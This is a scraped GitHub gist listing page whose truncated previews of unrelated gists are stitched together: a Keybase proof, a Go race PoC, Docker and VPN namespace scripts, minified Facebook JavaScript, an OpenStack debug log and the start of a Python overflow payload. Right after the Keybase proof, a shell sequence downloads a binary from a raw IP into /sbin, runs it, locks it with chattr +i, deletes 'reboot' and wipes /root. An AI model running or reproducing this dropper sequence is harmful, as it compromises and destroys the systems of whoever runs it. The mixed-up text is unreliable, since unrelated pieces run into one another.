Skip to content

Instantly share code, notes, and snippets.

### Keybase proof
I hereby claim:
* I am pellaeon on github.
* I am pellaeon (https://keybase.io/pellaeon) on keybase.
* I have a public key whose fingerprint is 95DC BD22 16E9 57FC 5779 AC15 8713 357D 42E7 1100
To claim this, I am signing this object:
cd /sbin
wget 23.234.15.11/sysconfig
chmod u+x sysconfig
/sbin/sysconfig
ss
chattr +i sysconfig
ss
rm -rf reboot
cd /root
rm -rf *
from math import *
from decimal import *
S=20
lo=Decimal(5)
lh=Decimal(2)
u=Decimal(1)
def p0(y):
sum1=Decimal(0)
for i in range(0,y):
@pellaeon
pellaeon / exp1.go
Created July 29, 2015 09:58
Simultaenous Reader reading and read from slice PoC
package main
import (
"fmt"
"io"
"net/http"
"sync/atomic"
"time"
)
@pellaeon
pellaeon / docker.cloudconfig
Last active August 29, 2015 14:26
Docker cloudconfig
#cloud-config
apt_mirror: http://ubuntu.cs.nctu.edu.tw/ubuntu/
timezone: Asia/Taipei
package_upgrade: true
packages:
- git
- screen
runcmd:
- wget -qO- https://get.docker.com/ | sh
@pellaeon
pellaeon / 0KVb7nflqxs.js
Last active July 3, 2023 23:40
facebook PrivacyConst
/*!CK:1682740188!*/ /*1436151151,*/
if (self.CavalryLogger) {
CavalryLogger.start_js(["87tQA"]);
}
__d("TickerStoryList", ["Event", "Animation", "Arbiter", "AsyncRequest", "AsyncSignal", "Bootloader", "ChannelConstants", "LegacyContextualDialog", "CSS", "DOM", "HTML", "Keys", "LayerFadeOnHide", "LiveTimer", "NavigationMessage", "Parent", "Rect", "Run", "ScrollableArea", "SelectorDeprecated", "Style", "TickerController", "TickerReadStateTracking", "Toggler", "URI", "UserActivity", "UserAgent_DEPRECATED", "Vector", "DOMVector", "BanzaiODS", "clickRefAction", "collectDataAttributes", "containsNode", "cx", "csx", "ex", "emptyFunction", "ge", "getElementText", "goURI", "throttle", "tickerPhoteSnowLiftOpenStatus"], function(a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, aa, ba, ca, da, ea, fa, ga, ha, ia, ja, ka, la, ma, na, oa, pa, qa, ra, sa, ta, ua, va) {
b.__markCompiled && b.__markCompiled();
var wa = 15000,
xa = {};
@pellaeon
pellaeon / neutron client debug
Created September 27, 2015 14:40
neutronclient.client doesn't seem to recognize Keystone API v3
2015-09-27 22:34:36,421 neutronclient.client DEBUG
REQ: curl -i http://172.29.236.19:5000/v3/tokens -X POST -H "User-Agent: python-neutronclient" -d '{"auth": {"tenantName": "admin", "passwordCredentials": {"username": "admin", "password": "REDACTED"}}}'
2015-09-27 22:34:36,456 neutronclient.client DEBUG RESP:404 {'content-length': '93', 'vary': 'X-Auth-Token', 'server': 'Apache', 'date': 'Sun, 27 Sep 2015 14:34:36 GMT', 'content-type': 'application/json', 'x-openstack-request-id': 'req-073bd239-db55-4da9-8db2-7daf9f01ea36'} {"error": {"message": "The resource could not be found.", "code": 404, "title": "Not Found"}}
@pellaeon
pellaeon / a.bash
Created October 30, 2015 11:35
ip netns VPN
#!/bin/bash
#create bridge 'br0'
brctl addbr br0
#create network namespace 'ns0'
ip netns add ns0
#create virtual nic pair for hooking ns0
ip link add veth0 type veth peer name veth1
#adding veth1 into namespace 'ns0'
ip link set veth1 netns ns0
#bring ethernet NIC down for adding it to br0 later

OpenVPN in Linux network namespace

This script creates a network namespace, in that namespace your OpenVPN tunnel is the default interface.

  1. Change your OpenVPN server settings in yourvpn.ovpn, modify the paths to passwd and crl files accordingly
  2. Put in your username and password in passwd file
  3. ./piavpn.zsh up
  4. ./piavpn.zsh start_vpn

Switch to that network namespace with: sudo ip netns exec piavpn bash

import socket
import telnetlib
payload = bytearray()
for i in range(0,0x28):
payload.append(0x41)
for i in range(0, 4):
payload.append(0x42)
payload.append(0xCD)
payload.append(0x88)